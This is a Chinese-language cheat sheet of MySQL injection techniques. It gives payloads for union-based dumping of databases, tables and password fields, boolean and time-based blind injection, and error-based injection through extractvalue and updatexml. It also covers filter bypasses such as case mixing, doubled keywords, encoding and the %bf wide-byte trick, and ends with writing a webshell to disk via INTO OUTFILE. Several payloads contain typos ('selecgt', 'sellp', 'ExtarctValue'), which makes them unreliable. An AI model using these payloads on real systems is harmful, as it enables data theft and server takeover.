mysql注入总结
理论知识
注释符:
#
--+
/**/
包裹数据方式
一般情况下包裹数据会有以下的几种方式,不确定什么包裹的时候,可以一个一个的实验(当然这是大部分情况,也会有一些奇葩的存在)
''
('')
((''))
""
("")
((""))
系统函数等:
此处内容为一些查询信息的内容
user() 当前使用者的用户名
database() 当前的数据库
version() 数据库版本
load_file() 读取本地的文件
@@datadir 读取数据库路径
@@basedir mysql的安装路径
@@version_compile_os 当前的操作系统
ord(min(user),1,1)=114 返回正常为root权限
(select count(*) from mysql.user)>0 判断是否有可读写权限
数据库知识
information_schema 数据库中的所有知识都存储在此数据库中
information_schema.schemata 数据库中所有库的信息都存放与此表之中
schema_name 此字段存放了所有库的名字
information_schema.tables 数据库中所有表的信息都存放与此表之中
table_name 此字段存放了所有表的名字
table_schema 此字段中存放了所有库的名字
information_schema.column 数据库中所有字段的信息都存放与此表之中
column_name 此字段存放了所有字段的名字
table_name 其中此字段中存放了所有表的名字
注入
基本注入流程
order by 判断有多少个字段
id=-1 union select 1,2,3... 判断回显
select group_concat(schema_name)from information_schema.schemata 爆出所有的数据库名
select group_concat(table_name)from information_schema.tables where table_schema=hex
爆出指定数据库的所有表名
select group_concat(column_name)from information_schema.columns where table_name=hex
爆出指定的字段名
select group_concat(id,0x3a,passwd)from schema.table 爆出指定字段的所有数据(0x3a为:的ascii码)
盲注
1、基本盲注
使用情况:如果程序关闭了回显,那么我们就不能通过回显信息来获取信息
ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))>0
判断编号为零的数据库的第一个字符的ascii值
limit 从第一条数据开始,截取几个数据 (控制读取哪个数据库)
strsub(数据,截取哪个字符) (控制读取哪个字符)
ascii() 括号中的内容转换成ascii码
我们利用此方法一个一个的获取字符,然后通过ascii表对其进行转换
ascii(substr((select table_name from information_schema.tables where tables_schema= Hex limit 0,1),1))>0
判断指定数据库中表编号为零的第一个字符的ascii值
ascii(substr((select column_name from information_schema.columns where table_name=Hex limit 0,1),1))>0
判断指定表的字段编号为零的第一个字符的ascii
ascii(substr((select column from schema.table limit 0,1),1))>0
判断指定数据库下的指定表的指定字段的编号为零的第一个字符的ascii
2、 基于时间的盲注
使用情况:如果程序做了限制,对和错误的界面都是一样
if((ascii(substr((select schemata_name from information_schema.schemata limit 0,1),1))>0),sleep(3),1)
判断编号为零的数据库的第一个字符的ascii值是否大于0,如果大于则延迟3秒刷新界面,否则不延迟
if(判断条件,如果正确执行的语句,如果错误执行的语句)
sleep(秒数) 延迟多少秒执行语句,可以为毫秒
if((ascii(substr((select table_name from information_schema.tables where table_schema=Hex limit 0,1),1))>0),sleep(3),1)
判断指定数据库中表编号为零的第一个字符的ascii值是否大于0,如果大于则延迟3秒,否则不延迟
if((ascii(substr((select column_name from information_schema.columns where table_name=Hex limit 0,1),1))>0),sellp(3),1)
判断指定表的字段编号为零的第一个字符的ascii值是否大于0,如果大于则延迟3秒,否则不延迟
if((ascii(substr((select column from schema.table limit 0,1),1))>0),sellp(2),1)
判断指定数据库下的指定表的指定字段的编号为零的第一个字符的ascii值是否大于0,如果大于则延迟三秒,否则不延迟
3、基于报错的注入
使用情况:当count()、concat()、rand()同时出现在一个语句中,数据库就会出现错误,从而把我们要查询的语句给显示出来
(selecgt 1 from (select count(*),concat((select group_concat(schemta_name) from information_schema.schemata),floor(rand()*2))name from information_schema.tables group by name)b)
5.1版本以后才能使用
ExtractValue(目标文件,字符串) ExtractValue(1,sql语句)
ExtarctValue (1,(select count(*),concat((select group_concat(schema_name) information_schema.schemata))
updateXML(目标文件,字符串,数据) updata(1,sql语句,1)
updataXML(1,(select count(*),concat((select group_concat(schema_name) information_schema.schemata),1)
三过滤绕过:
1、 大小写绕过:uNiOn sElEcT
2、重叠绕过:
ununionion selselectect
union union select select
联合查询可以加all绕过:union all select
3、 使用url编码绕过
4、替换一些关键字,用其他相同功能的字符代替,如:
and => && => %26%26
or => || => %7C%7C
5、空格的一些绕过方法
空格 => /*/ , %0a , %09 , %0b , %0c , %0d , %a0
6、高字节过滤
因为一些编码配置上不当造成的错误,可以使我们绕过过滤
%bf 在被过滤的符号前面加上%bf来进行绕过,如%bf’
7、大于等于小于的绕过
我们可以用like来代替=符号
其他
1、文件上传:
union select 1,'此处可放一句话木马' into outfile 'c:/123.php'
上传一句话木马到c:/123.php文件中